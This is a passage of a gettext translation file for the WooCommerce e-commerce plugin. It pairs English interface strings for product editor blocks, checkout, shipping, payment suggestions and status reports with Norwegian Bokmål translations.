#: includes/wc-core-functions.php:1624
msgctxt "Name of credit card"
msgid "Discover"
msgstr "Discover"
#: includes/wc-core-functions.php:1623
msgctxt "Name of credit card"
msgid "Visa"
msgstr "Visa"
#: includes/wc-core-functions.php:1622
msgctxt "Name of credit card"
msgid "MasterCard"
msgstr "MasterCard"
#: includes/wc-account-functions.php:113
msgid "Log out"
msgstr "Logg ut"
#: includes/class-wc-product-variable.php:70
msgid "This product has multiple variants. The options may be chosen on the product page"
msgstr "Dette produktet har flere varianter. Alternativene kan velges på produktsiden"
#. translators: %d: products count
#: includes/admin/importers/views/html-csv-import-done.php:36
msgid "%s variations imported"
msgid_plural "%s variations imported"
msgstr[0] "%s variasjon importert"
msgstr[1] "%s variasjoner importert"
#: includes/admin/class-wc-admin-assets.php:650
msgid "Adding new attribute failed."
msgstr "Legge til nytt attributt mislyktes."
#: includes/admin/class-wc-admin-assets.php:515
msgid "%qty% variations added"
msgstr "%qty% variasjoner lagt til"
#: assets/client/blocks/inner-blocks/mini-cart-checkout-button-block/block.json
msgctxt "block description"
msgid "Block that displays the checkout button when the Mini-Cart has products."
msgstr "Blokk som viser betalingsknappen når minikurven har produkter."
#: assets/client/blocks/inner-blocks/mini-cart-checkout-button-block/block.json
msgctxt "block title"
msgid "Mini-Cart Proceed to Checkout Button"
msgstr "Minikurv Gå til betaling knapp"
#: assets/client/blocks/inner-blocks/mini-cart-cart-button-block/block.json
#: assets/client/blocks/inner-blocks/mini-cart-checkout-button-block/block.json
#: assets/client/blocks/inner-blocks/mini-cart-shopping-button-block/block.json
#: assets/client/blocks/product-button/block.json
msgctxt "block style label"
msgid "Outline"
msgstr "Omriss"
#: assets/client/blocks/inner-blocks/mini-cart-cart-button-block/block.json
#: assets/client/blocks/inner-blocks/mini-cart-checkout-button-block/block.json
#: assets/client/blocks/inner-blocks/mini-cart-shopping-button-block/block.json
#: assets/client/blocks/product-button/block.json
msgctxt "block style label"
msgid "Fill"
msgstr "Fyll"
#: assets/client/blocks/inner-blocks/mini-cart-cart-button-block/block.json
msgctxt "block description"
msgid "Block that displays the cart button when the Mini-Cart has products."
msgstr "Blokk som viser handlekurvknappen når minikurven har produkter."
#: assets/client/blocks/inner-blocks/mini-cart-cart-button-block/block.json
msgctxt "block title"
msgid "Mini-Cart View Cart Button"
msgstr "Minikurv Vis handlekurv knapp"
#: assets/client/blocks/product-reviews/block.json
msgctxt "block title"
msgid "Product Reviews"
msgstr "Produktomtaler"
#: assets/client/admin/product-editor/blocks/generic/product-tab/block.json
#: assets/client/admin/product-editor/blocks/generic/tab/block.json
msgctxt "block keyword"
msgid "tab"
msgstr "fane"
#: assets/client/admin/product-editor/blocks/generic/product-tab/block.json
#: assets/client/admin/product-editor/blocks/generic/tab/block.json
msgctxt "block description"
msgid "The product tab."
msgstr "Produktfanen."
#: assets/client/admin/product-editor/blocks/generic/product-tab/block.json
#: assets/client/admin/product-editor/blocks/generic/tab/block.json
msgctxt "block title"
msgid "Product tab"
msgstr "Produktfane"
#: assets/client/admin/product-editor/blocks/product-fields/product-summary-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/summary/block.json
msgctxt "block keyword"
msgid "excerpt"
msgstr "utdrag"
#: assets/client/admin/product-editor/blocks/product-fields/product-summary-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/summary/block.json
msgctxt "block keyword"
msgid "summary"
msgstr "sammendrag"
#: assets/client/admin/product-editor/blocks/product-fields/product-summary-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/summary/block.json
msgctxt "block description"
msgid "The product summary."
msgstr "Produktsammendraget."
#: assets/client/admin/product-editor/blocks/product-fields/product-summary-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/summary/block.json
msgctxt "block title"
msgid "Product summary"
msgstr "Produktsammendrag"
#: assets/client/admin/product-editor/blocks/generic/product-section/block.json
#: assets/client/admin/product-editor/blocks/generic/product-subsection/block.json
#: assets/client/admin/product-editor/blocks/generic/product-tab/block.json
#: assets/client/admin/product-editor/blocks/generic/section/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection/block.json
#: assets/client/admin/product-editor/blocks/generic/tab/block.json
msgctxt "block keyword"
msgid "group"
msgstr "gruppe"
#: assets/client/admin/product-editor/blocks/generic/product-section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/product-section/block.json
#: assets/client/admin/product-editor/blocks/generic/section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/section/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-details-section-description/block.json
msgctxt "block keyword"
msgid "section"
msgstr "seksjon"
#: assets/client/admin/product-editor/blocks/generic/product-section/block.json
#: assets/client/admin/product-editor/blocks/generic/section/block.json
msgctxt "block description"
msgid "The product section."
msgstr "Produktseksjonen."
#: assets/client/admin/product-editor/blocks/generic/product-section/block.json
#: assets/client/admin/product-editor/blocks/generic/section/block.json
msgctxt "block title"
msgid "Product section"
msgstr "Produktseksjon"
#: assets/client/admin/product-editor/blocks/generic/pricing/block.json
#: assets/client/admin/product-editor/blocks/generic/product-pricing-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-regular-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-sale-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/regular-price/block.json
#: assets/client/admin/product-editor/blocks/product-fields/sale-price/block.json
msgctxt "block keyword"
msgid "price"
msgstr "pris"
#: assets/client/admin/product-editor/blocks/generic/pricing/block.json
#: assets/client/admin/product-editor/blocks/generic/product-pricing-field/block.json
msgctxt "block title"
msgid "Product pricing"
msgstr "Prissetting av produkter"
#: assets/client/admin/product-editor/blocks/generic/pricing/block.json
#: assets/client/admin/product-editor/blocks/generic/product-pricing-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-regular-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-sale-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/regular-price/block.json
#: assets/client/admin/product-editor/blocks/product-fields/sale-price/block.json
msgctxt "block description"
msgid "A product price block with currency display."
msgstr "En produktprisblokk med valutavisning."
#: assets/client/admin/product-editor/blocks/product-fields/name/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-name-field/block.json
msgctxt "block keyword"
msgid "title"
msgstr "tittel"
#: assets/client/admin/product-editor/blocks/product-fields/name/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-name-field/block.json
msgctxt "block keyword"
msgid "name"
msgstr "navn"
#: assets/client/admin/product-editor/blocks/product-fields/name/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-name-field/block.json
msgctxt "block description"
msgid "The product name."
msgstr "Produktnavnet."
#: assets/client/admin/product-editor/blocks/product-fields/name/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-name-field/block.json
msgctxt "block title"
msgid "Product name"
msgstr "Produktnavn"
#: assets/client/admin/product-editor/blocks/product-fields/images/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-images-field/block.json
msgctxt "block keyword"
msgid "gallery"
msgstr "galleri"
#: assets/client/admin/product-editor/blocks/product-fields/images/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-images-field/block.json
msgctxt "block keyword"
msgid "images"
msgstr "bilder"
#: assets/client/admin/product-editor/blocks/product-fields/images/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-images-field/block.json
msgctxt "block keyword"
msgid "image"
msgstr "bilde"
#: assets/client/admin/product-editor/blocks/product-fields/images/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-images-field/block.json
msgctxt "block description"
msgid "The product images."
msgstr "Produktbildene."
#: assets/client/admin/product-editor/blocks/product-fields/images/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-images-field/block.json
msgctxt "block title"
msgid "Product images"
msgstr "Produktbilder"
#: assets/client/admin/product-editor/blocks/generic/collapsible/block.json
#: assets/client/admin/product-editor/blocks/generic/product-collapsible/block.json
msgctxt "block description"
msgid "Container with collapsible inner blocks."
msgstr "Beholder med sammenleggbare indre blokker."
#: assets/client/admin/product-editor/blocks/generic/collapsible/block.json
#: assets/client/admin/product-editor/blocks/generic/product-collapsible/block.json
msgctxt "block title"
msgid "Collapsible"
msgstr "Sammenleggbar"
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-class-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/block.json
msgctxt "block keyword"
msgid "class"
msgstr "klasse"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-sku/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-sku-field/block.json
msgctxt "block keyword"
msgid "sku"
msgstr "sku"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-sku/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-sku-field/block.json
msgctxt "block description"
msgid "The product sku."
msgstr "Produktnummeret."
#: assets/client/admin/product-editor/blocks/product-fields/inventory-sku/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-sku-field/block.json
msgctxt "block title"
msgid "Product text control"
msgstr "Kontroll av produkttekst"
#: assets/client/admin/product-editor/blocks/product-fields/product-tag-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/tag/block.json
msgctxt "block keyword"
msgid "tag"
msgstr "stikkord"
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-class-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/block.json
msgctxt "block description"
msgid "The product shipping class field."
msgstr "Feltet for produktfraktklasse."
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-class-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/block.json
msgctxt "block title"
msgid "Product shipping class field"
msgstr "Felt for produktforsendelsesklasse"
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-dimensions-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-dimensions/block.json
#: assets/client/blocks/product-specifications/block.json
msgctxt "block keyword"
msgid "dimensions"
msgstr "dimensjoner"
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-class-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-dimensions-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-dimensions/block.json
msgctxt "block keyword"
msgid "shipping"
msgstr "frakt"
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-dimensions-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-dimensions/block.json
msgctxt "block description"
msgid "The product shipping dimensions fields."
msgstr "Feltene for produktets fraktdimensjoner."
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-dimensions-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-dimensions/block.json
msgctxt "block title"
msgid "Product shipping dimensions fields"
msgstr "Felt for produktets fraktdimensjoner"
#: assets/client/admin/product-editor/blocks/product-fields/product-schedule-sale-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/schedule-sale/block.json
msgctxt "block keyword"
msgid "sale"
msgstr "tilbud"
#: assets/client/admin/product-editor/blocks/product-fields/product-schedule-sale-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/schedule-sale/block.json
msgctxt "block keyword"
msgid "schedule"
msgstr "planlegg"
#: assets/client/admin/product-editor/blocks/product-fields/product-schedule-sale-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/schedule-sale/block.json
msgctxt "block description"
msgid "The product schedule sale fields."
msgstr "Feltene for planlagt produktsalg."
#: assets/client/admin/product-editor/blocks/product-fields/product-schedule-sale-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/schedule-sale/block.json
msgctxt "block title"
msgid "Product schedule sale fields"
msgstr "Felt for planlagt produktsalg"
#: assets/client/admin/product-editor/blocks/generic/product-radio-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/generic/radio/block.json
#: assets/client/admin/product-editor/blocks/generic/toggle/block.json
msgctxt "block keyword"
msgid "radio"
msgstr "radio"
#: assets/client/admin/product-editor/blocks/generic/product-radio-field/block.json
#: assets/client/admin/product-editor/blocks/generic/radio/block.json
msgctxt "block description"
msgid "The product radio."
msgstr "Produkt radio."
#: assets/client/admin/product-editor/blocks/generic/product-radio-field/block.json
#: assets/client/admin/product-editor/blocks/generic/radio/block.json
msgctxt "block title"
msgid "Product radio control"
msgstr "Produkt radio styring"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-email/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-email-field/block.json
msgctxt "block keyword"
msgid "minimum"
msgstr "minimum"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-email/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-email-field/block.json
msgctxt "block keyword"
msgid "email"
msgstr "e-post"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-email/block.json
#: assets/client/admin/product-editor/blocks/product-fields/inventory-quantity/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-email-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-quantity-field/block.json
msgctxt "block keyword"
msgid "inventory"
msgstr "lager"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-email/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-email-field/block.json
msgctxt "block description"
msgid "Stock management minimum quantity."
msgstr "Minimumsmengde for lagerstyring."
#: assets/client/admin/product-editor/blocks/product-fields/inventory-email/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-email-field/block.json
msgctxt "block title"
msgid "Stock level threshold"
msgstr "Terskel for lagernivå"
#: assets/client/admin/product-editor/blocks/generic/checkbox/block.json
#: assets/client/admin/product-editor/blocks/generic/number/block.json
#: assets/client/admin/product-editor/blocks/generic/product-checkbox-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-number-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-radio-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/generic/radio/block.json
#: assets/client/admin/product-editor/blocks/generic/toggle/block.json
msgctxt "block keyword"
msgid "input"
msgstr "input"
#: assets/client/admin/product-editor/blocks/generic/checkbox/block.json
#: assets/client/admin/product-editor/blocks/generic/product-checkbox-field/block.json
msgctxt "block keyword"
msgid "checkbox"
msgstr "avkryssingsboks"
#: assets/client/admin/product-editor/blocks/generic/checkbox/block.json
#: assets/client/admin/product-editor/blocks/generic/linked-product-list/block.json
#: assets/client/admin/product-editor/blocks/generic/notice/block.json
#: assets/client/admin/product-editor/blocks/generic/number/block.json
#: assets/client/admin/product-editor/blocks/generic/pricing/block.json
#: assets/client/admin/product-editor/blocks/generic/product-checkbox-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-linked-list-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-notice-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-number-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-pricing-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-radio-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/product-section/block.json
#: assets/client/admin/product-editor/blocks/generic/product-select-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-subsection-description/block.json
#: assets/client/admin/product-editor/blocks/generic/product-subsection/block.json
#: assets/client/admin/product-editor/blocks/generic/product-tab/block.json
#: assets/client/admin/product-editor/blocks/generic/product-text-field/block.json
#: assets/client/admin/product-editor/blocks/generic/product-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/generic/radio/block.json
#: assets/client/admin/product-editor/blocks/generic/section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/section/block.json
#: assets/client/admin/product-editor/blocks/generic/select/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection-description/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection/block.json
#: assets/client/admin/product-editor/blocks/generic/tab/block.json
#: assets/client/admin/product-editor/blocks/generic/text/block.json
#: assets/client/admin/product-editor/blocks/generic/toggle/block.json
#: assets/client/admin/product-editor/blocks/product-fields/attributes/block.json
#: assets/client/admin/product-editor/blocks/product-fields/catalog-visibility/block.json
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields-toggle/block.json
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/description/block.json
#: assets/client/admin/product-editor/blocks/product-fields/downloads/block.json
#: assets/client/admin/product-editor/blocks/product-fields/images/block.json
#: assets/client/admin/product-editor/blocks/product-fields/inventory-email/block.json
#: assets/client/admin/product-editor/blocks/product-fields/inventory-quantity/block.json
#: assets/client/admin/product-editor/blocks/product-fields/inventory-sku/block.json
#: assets/client/admin/product-editor/blocks/product-fields/name/block.json
#: assets/client/admin/product-editor/blocks/product-fields/notice-edit-single-variation/block.json
#: assets/client/admin/product-editor/blocks/product-fields/notice-has-variations/block.json
#: assets/client/admin/product-editor/blocks/product-fields/password/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-attributes-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-catalog-visibility-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-description-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-details-section-description/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-downloads-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-has-variations-notice/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-images-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-email-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-quantity-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-list-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-list/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-name-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-password-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-regular-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-sale-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-schedule-sale-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-class-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-shipping-dimensions-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-single-variation-notice/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-sku-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-summary-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-tag-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-variation-items-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-variations-options-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/regular-price/block.json
#: assets/client/admin/product-editor/blocks/product-fields/sale-price/block.json
#: assets/client/admin/product-editor/blocks/product-fields/schedule-sale/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/block.json
#: assets/client/admin/product-editor/blocks/product-fields/shipping-dimensions/block.json
#: assets/client/admin/product-editor/blocks/product-fields/summary/block.json
#: assets/client/admin/product-editor/blocks/product-fields/tag/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-items/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-options/block.json
msgctxt "block keyword"
msgid "products"
msgstr "produkter"
#: assets/client/admin/product-editor/blocks/generic/checkbox/block.json
#: assets/client/admin/product-editor/blocks/generic/product-checkbox-field/block.json
msgctxt "block title"
msgid "Product checkbox control"
msgstr "Kontroll av avkrysningsboks for produkt"
#: assets/client/admin/product-editor/blocks/generic/conditional/block.json
msgctxt "block description"
msgid "Container to only conditionally render inner blocks."
msgstr "Beholder for kun betinget gjengivelse av indre blokker."
#: assets/client/admin/product-editor/blocks/generic/conditional/block.json
msgctxt "block title"
msgid "Conditional"
msgstr "Betinget"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:939
msgid "Give your customers the power to pay later, interest free and watch your sales grow."
msgstr "Gi kundene dine muligheten til å betale senere, rentefritt, og se salget vokse."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:938
msgid "Zip Co - Buy Now, Pay Later"
msgstr "Zip Co - Kjøp nå, betal senere"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:363
msgid "Payoneer Checkout is the next generation of payment processing platforms, giving merchants around the world the solutions and direction they need to succeed in today’s hyper-competitive global market."
msgstr "Payoneer Checkout er den neste generasjonen av betalingsplattformer, og gir selgere over hele verden de løsningene og den retningen de trenger for å lykkes i dagens hyperkonkurransedyktige globale marked."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:362
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3511
msgid "Payoneer Checkout"
msgstr "Payoneer Checkout"
#: templates/block-notices/error.php:36
msgid "The following problems were found:"
msgstr "Følgende problemer ble funnet:"
#: src/StoreApi/Schemas/V1/CartSchema.php:313
msgid "List of available payment method IDs that can be used to process the order."
msgstr "Liste over tilgjengelige betalingsmåte-IDer som kan brukes til å behandle ordren."
#. translators: %s: Category name
#: includes/wc-template-functions.php:1270
msgid "Visit product category %1$s"
msgstr "Besøk produktkategori %1$s"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:667
msgid "Is HPOS sync enabled?"
msgstr "Er HPOS-synkronisering slått på?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:661
msgid "Order datastore."
msgstr "Ordredatalager."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:649
msgid "Enforce approved download directories?"
msgstr "Kreve godkjente nedlastningsmapper?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:643
msgid "Is store connected to WooCommerce.com?"
msgstr "Er butikken koblet til WooCommerce.com?"
#. translators: %1$s: How to get started? link opening tag. %2$s: How to get
#. started? link closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:465
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1047
msgid "Set up shipping costs and enter dimensions used for accurate rate calculations. %1$sHow to get started?%2$s"
msgstr "Sett opp fraktkostnader og angi dimensjoner som brukes for nøyaktige prisberegninger. %1$sHvordan komme i gang?%2$s"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:462
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1044
msgid "Fees & dimensions"
msgstr "Avgifter og dimensjoner"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:987
msgid "When checked, customers will be able to purchase only 1 item in a single order. This is particularly useful for items that have limited quantity, like art or handmade goods."
msgstr "Når dette er krysset av, vil kundene bare kunne kjøpe ett produkt i én enkelt ordre. Dette er spesielt nyttig for produkter som har begrenset tilgjengelighet, som kunst eller håndlagde produkter."
#. translators: %1$s: Inventory settings link opening tag. %2$s: Inventory
#. settings link closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:302
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:734
msgid "Set up and manage inventory for this product, including status and available quantity. %1$sManage store inventory settings%2$s"
msgstr "Sett opp og administrer lagerbeholdning for dette produktet, inkludert status og tilgjengelig mengde. %1$sAdministrere innstillinger for lagerbeholdning%2$s"
#. translators: %1$s: Learn more link opening tag. %2$s: Learn more link
#. closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:203
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:334
msgid "Apply a tax rate if this product qualifies for tax reduction or exemption. %1$sLearn more%2$s"
msgstr "Bruk en avgiftssats hvis dette produktet kvalifiserer for avgiftsreduksjon eller avgiftsfritak. %1$sLes mer%2$s"
#. translators: %1$s: Images guide link opening tag. %2$s: Images guide link
#. closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:252
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:506
msgid "Drag images, upload new ones or select files from your library. For best results, use JPEG files that are 1000 by 1000 pixels or larger. %1$sHow to prepare images?%2$s"
msgstr "Dra bilder, last opp nye eller velg filer fra biblioteket ditt. For best resultat bør du bruke JPEG-filer som er 1000 x 1000 piksler eller større. %1$sHvordan klargjøre bilder?%2$s"
#: includes/admin/views/html-admin-page-status-report.php:776
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:655
msgid "Is HPOS enabled?"
msgstr "Er HPOS slått på?"
#: includes/admin/views/html-admin-page-status-report.php:775
msgid "HPOS enabled:"
msgstr "HPOS slått på:"
#: includes/admin/views/html-admin-page-status-report.php:63
msgid "Download for support"
msgstr "Last ned for brukerstøtte"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:159
msgid "No variations yet. Generate them from all added attributes or add a new variation manually."
msgstr "Ingen varianter ennå. Generer dem fra alle tilføyde attributter eller legg til en ny variant manuelt."
#: includes/admin/meta-boxes/views/html-product-data-variations.php:78
msgid "Generate variations"
msgstr "Generer varianter"
#. translators: %1$s: url for attributes tab, %2$s: url for variable product
#. documentation
#: includes/admin/meta-boxes/views/html-product-data-variations.php:30
msgid "Add some attributes in the <a class=\"variations-add-attributes-link\" href=\"%1$s\">Attributes</a> tab to generate variations. Make sure to check the <b>Used for variations</b> box. <a class=\"variations-learn-more-link\" href=\"%2$s\" target=\"_blank\" rel=\"noreferrer\">Learn more</a>"
msgstr "Legg til noen attributter i kategorien <a class=\"variations-add-attributes-link\" href=\"%1$s\">Attributter</a> for å generere varianter. Sørg for å krysse av i boksen Brukes <b>for varianter</b>. <a class=\"variations-learn-more-link\" href=\"%2$s\" target=\"_blank\" rel=\"noreferrer\">Les mer</a>"
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:36
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:158
msgid "Add existing"
msgstr "Legg til eksisterende"
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:74
msgid "Create value"
msgstr "Opprett verdi"
#: includes/admin/class-wc-admin-assets.php:649
msgid "If you remove this attribute, customers will no longer be able to purchase some variations of this product."
msgstr "Hvis du fjerner dette attributtet, vil kundene ikke lenger kunne kjøpe noen varianter av dette produktet."
#: includes/admin/class-wc-admin-assets.php:638
#: includes/admin/meta-boxes/views/html-product-attribute.php:11
msgid "New attribute"
msgstr "Nytt attributt"
#: assets/client/blocks/related-products/block.json
msgctxt "block description"
msgid "Display related products."
msgstr "Vis relaterte produkter."
#: assets/client/blocks/related-products/block.json
msgctxt "block title"
msgid "Related Products"
msgstr "Relaterte produkter"
#: assets/client/blocks/product-meta/block.json
msgctxt "block title"
msgid "Product Meta"
msgstr "Produktmeta"
#: assets/client/blocks/product-details/block.json
msgctxt "block title"
msgid "Product Details"
msgstr "Produktdetaljer"
#: assets/client/blocks/product-button/block.json
msgctxt "block title"
msgid "Add to Cart Button"
msgstr "Legg i handlekurv-knapp"
#: templates/order/attribution-details.php:59
#: assets/client/admin/chunks/multichannel-marketing.js:1
msgid "Campaign"
msgstr "Kampanje"
#. translators: %s coupon code.
#: src/Internal/Orders/CouponsController.php:95
msgid "Coupon applied: \"%s\"."
msgstr "Brukt rabattkode: \"%s\"."
#: src/Internal/Features/FeaturesController.php:332
msgid "Optimize for faster checkout"
msgstr "Optimaliser for raskere utsjekking"
#: src/Internal/Features/FeaturesController.php:331
msgid "Cart & Checkout Blocks"
msgstr "Handlekurv og kasseblokker"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:219
msgid "Save time and money by printing your shipping labels right from your computer with WooCommerce Shipping. Try WooCommerce Shipping for free."
msgstr "Spar tid og penger ved å skrive ut fraktetikettene dine direkte fra datamaskinen din med WooCommerce Shipping. Prøv WooCommerce Shipping gratis."
#: src/Admin/API/ShippingPartnerSuggestions.php:191
msgid "Available layouts -- single, dual, or both"
msgstr "Tilgjengelige oppsett - enkelt, dobbelt eller begge deler"
#: src/Admin/API/ShippingPartnerSuggestions.php:179
msgid "Learn more link ."
msgstr "Les mer lenke ."
#: src/Admin/API/ShippingPartnerSuggestions.php:165
msgid "Plugin slug used in https://wordpress.org/plugins/{slug}."
msgstr "Plugin slug brukt i https://wordpress.org/plugins/{slug}."
#: src/Admin/API/ShippingPartnerSuggestions.php:50
msgid "Return the default shipping partner suggestions when woocommerce_show_marketplace_suggestions option is set to no"
msgstr "Returner standard forslag til fraktpartner når woocommerce_show_marketplace_suggestions-alternativet er satt til no"
#: src/Admin/API/PaymentGatewaySuggestions.php:185
msgid "Array of transaction processors and their images."
msgstr "Oversikt over transaksjonsbehandlere og deres bilder."
#: includes/wc-template-functions.php:4282
msgid "Shop"
msgstr "Butikk"
#: patterns/product-search-form.php:10
msgctxt "placeholder for search field"
msgid "Search products…"
msgstr "Søk produkter…"
#: patterns/no-products-found.php:11
msgctxt "Message explaining that there are no products returned from a search"
msgid "No products were found matching your selection."
msgstr "Fant ingen produkter som passet med valgene dine."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:174
#: templates/product-form/simple.php:19 templates/product-form/simple.php:20
msgid "Basic details"
msgstr "Grunnleggende opplysninger"
#. translators: %s coupon code.
#: includes/class-wc-ajax.php:1336
